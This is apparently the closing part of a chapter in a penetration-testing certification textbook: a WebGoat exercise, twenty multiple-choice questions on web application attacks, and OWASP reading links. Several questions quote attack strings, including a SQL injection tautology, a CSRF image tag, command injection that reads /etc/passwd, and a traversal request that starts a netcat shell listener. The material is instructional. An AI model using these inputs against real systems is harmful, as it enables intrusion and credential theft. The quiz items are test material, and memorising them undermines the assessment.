Introduces what SQL is and SQL injection vulnerabilities

385

Section

Explains the different SQL injection categories and attack vectors

389

List

A list of the most common SQL injection attack tools

397

Exercise

7.1 Complete the Exercises in WebGoat

WebGoat is a deliberately insecure web application and framework maintained by OWASP. You can install and practice with WebGoat in any Linux system or virtual machine (VM), or you can download WebSploit (a single VM with Kali Linux, additional tools, and several intentionally vulnerable applications (including WebGoat). Then you can practice in a safe environment. You can download WebSploit from https://websploit.h4cker.org. Download WebSploit or install WebGoat and complete all the exercises.

Review Questions

1. What type of testing is the following syntax used for?

omar' or '1' = '1

a. Reflective DNS attack

b. Traversal attack

c. SQL injection

d. File injection

2. Which of the following is a proxy tool that can be used to analyze requests and responses to and from a web application?

a. Burp Suite

b. Hashcat

c. DMitry

d. HTTPrint

3. While using your online student loan service, you notice the following string in the URL browser bar:

https://store.h4cker.org/userid=38471129543&amount=275

You notice that if you change the amount paid from $275 to $500, the value on that web page changes also. What type of vulnerability have you discovered?

a. Session hijacking

b. XSS attack

c. Cookie tampering

d. Web parameter tampering

4. You have identified a targeted website. You are now attempting to use Nmap scripts to further enumerate the targeted systems. Which of the following checks if a web server is vulnerable to directory traversal attack?

a. nmap sV -O -p IP_address

b. nmap --script http-passwd -- script-args http-passwd.root = / IP_address

c. nmap IP_address -p 80 --script = traversal

d. nmap --script http-passwd -- script-args http-etc = / IP_address

5. You found the following string in an email that was sent to you:

<img src="https://www.hackthestack.com/transfer?amount=1000&amp;d
estination=bob">

What type of attack is the hacker attempting?

a. Cross-site request forgery

b. Cross-site scripting

c. SQL injection

d. Code injection

6. What is the best definition of a style of software design where services are provided to the other components by application components, through a communication protocol over a network?

a. Service-oriented architecture

b. ActiveX data objects

c. OAuth

d. .NET

7. Which attack makes use of recursive DNS lookups?

a. DNS cache poisoning

b. DNS amplification attack

c. DNS spoofing

d. DNS server hijacking

8. You discover something strange in the logs: www.google.com && cat/etc/passwd. It appears that the two items were appended together. What is the best description of what this is called?

a. CSRF

b. XSS

c. File injection

d. Command injection

9. As part of a web application review, you have been asked to examine a web application and verify that it is designed to delete all browser cookies upon session termination. What type of problem is this seeking to prevent?

a. You are seeking to prevent hackers from tracking a user’s browsing activities.

b. You are seeking to prevent hackers from obtaining a user’s authentication credentials.

c. You are seeking to prevent unauthorized access to the SQL database.

d. You are seeking to prevent hackers from gaining access to system passwords.

10. Heap-based buffer overflows are different from stack-based buffer overflows because stack-based buffer overflows are dependent on overflowing what?

a. Internal structures

b. A buffer that is placed on the lower part of the heap

c. A fixed-length buffer

d. A buffer that is placed on the upper part of the heap

11. You have noticed the following in your logs. What was the attacker trying to do?

GET/%c0%af..%c0%af..%c0%af..%c0%af..C:/mydocuments/home/cmd.exe/
c+nc+-l+-p+8080+-e+cmd.exe HTTP/1.1

a. Replace the original cmd.exe with a Trojaned one

b. Exploit the double decode vulnerability

c. Spawn a reverse shell and execute xterm

d. Install Netcat as a listener on port 8080 to shovel a command shell back to the attacker

12. Which of the following best describes HTTP?

a. HTTP is based on UDP.

b. HTTP is considered a stateful connection.

c. HTTP is based on ICMP.

d. HTTP is considered a stateless connection.

13. When discussing passwords, what is considered a brute-force attack?

a. You load a dictionary of words into your password-cracking program.

b. You create a rainbow table from a dictionary and compare it with the encrypted passwords.

c. You attempt every single possibility until you exhaust all possible combinations or discover the password.

d. You threaten to use a rubber hose on someone unless he reveals his password.

14. What does the following command achieve?

Telnet <IP Address> <Port 80>
HEAD /HTTP/1.0
<Return>
<Return>

a. This command opens a backdoor Telnet session to the IP address specified.

b. This command starts a Netcat listener.

c. This command redirects Telnet to return the banner of the website specified by the URL.

d. This command returns the banner of the website specified by the IP address.

15. You found the following address in your log files: 0xde.0xaa.0xce.0x1a. What is the IP address in decimal?

a. 222.170.206.26

b. 16.216.170.131

c. 202.170.216.16

d. 131.410.10.11

16. What form of authentication takes a username and a random nonce and combines them?

a. Message digest authentication

b. Password Authentication Protocol

c. Certificate-based authentication

d. Forms-based authentication

17. While performing a penetration test for your client, you discovered the following on the client’s e-commerce website:

<input type="hidden" name="com" value="add">
<input type="hidden" name="un" value="Cowboy Hat/Stetson">
<input type="hidden" name="pid" value="823-45">
<input type="hidden" name="price" value="114.95">

Which of the following should you note in your report?

a. The value should list item number and not item name.

b. The dollar value should be confirmed before processing it.

c. The PID value is invalid.

d. The width of hidden fields should be expanded.

18. Which of the following is a best defense against the Unicode vulnerability on an unpatched IIS server?

a. Install the web server to a separate logical drive other than that of the OS.

b. Make a copy of cmd.exe and move it to the c:/Winnt folder.

c. Uninstall or disable the TFTP server on the Windows server.

d. Rename cmd.exe to something else.

19. While conducting a penetration test for a new client, you noticed that they had several databases. After testing one, you got the following response:

Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Driver Manager]
Data source name not found and no default driver specified error
in asp file line 82:

What is the problem?

a. The Oracle database is vulnerable to SQL injection.

b. This is a double-free vulnerability for MySQL version 8.00.4.

c. The SQL server is vulnerable to cross-site scripting.

d. The SQL server is vulnerable to SQL injection.

20. You have been asked to investigate a breach of security. An attacker has successfully modified the purchase price of an item. You have verified that no entries were found in the IDS, and the SQL databases show no indication of compromise. How did this attack most likely occur?

a. The attack occurred by gaining the help of an insider. The lack of any IDS entries clearly identifies this solution.

b. The attack occurred by changing the hidden tag value from a local copy of the web page.

c. The attack occurred by launching a cross-site scripting attack.

d. The attack occurred by using SQL injection techniques.

Suggested Reading and Resources

https://www.owasp.org/index.php/OWASP_Testing_Project: The OWASP Testing Project and Guide

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md: SQL Injection Prevention Cheat Sheet

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/ Query_Parameterization_Cheat_Sheet.md: Query Parameterization Cheat Sheet

https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF: SQL Injection Bypassing WAF

https://www.owasp.org/index.php/LDAP_injection: LDAP injection

https://www.owasp.org/index.php/HTTP_Response_Splitting: HTTP response splitting

https://www.owasp.org/index.php/Session_fixation: Session-fixation attacks

https://www.us-cert.gov/ncas/alerts/TA13-088A: DNS amplification attacks

https://www.happybearsoftware.com/quick-check-for-access-control-vulnerabilities-in-rails: Broken access control

http://searchsecurity.techtarget.com/tip/Improper-error-handling: Improper error handling

https://www.veracode.com/security/xss: XSS cheat sheet

http://securityidiots.com/Web-Pentest/SQL-Injection/Basic-Union-Based-SQL-Injection.html: Union-based SQL injection

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
44.198.162.35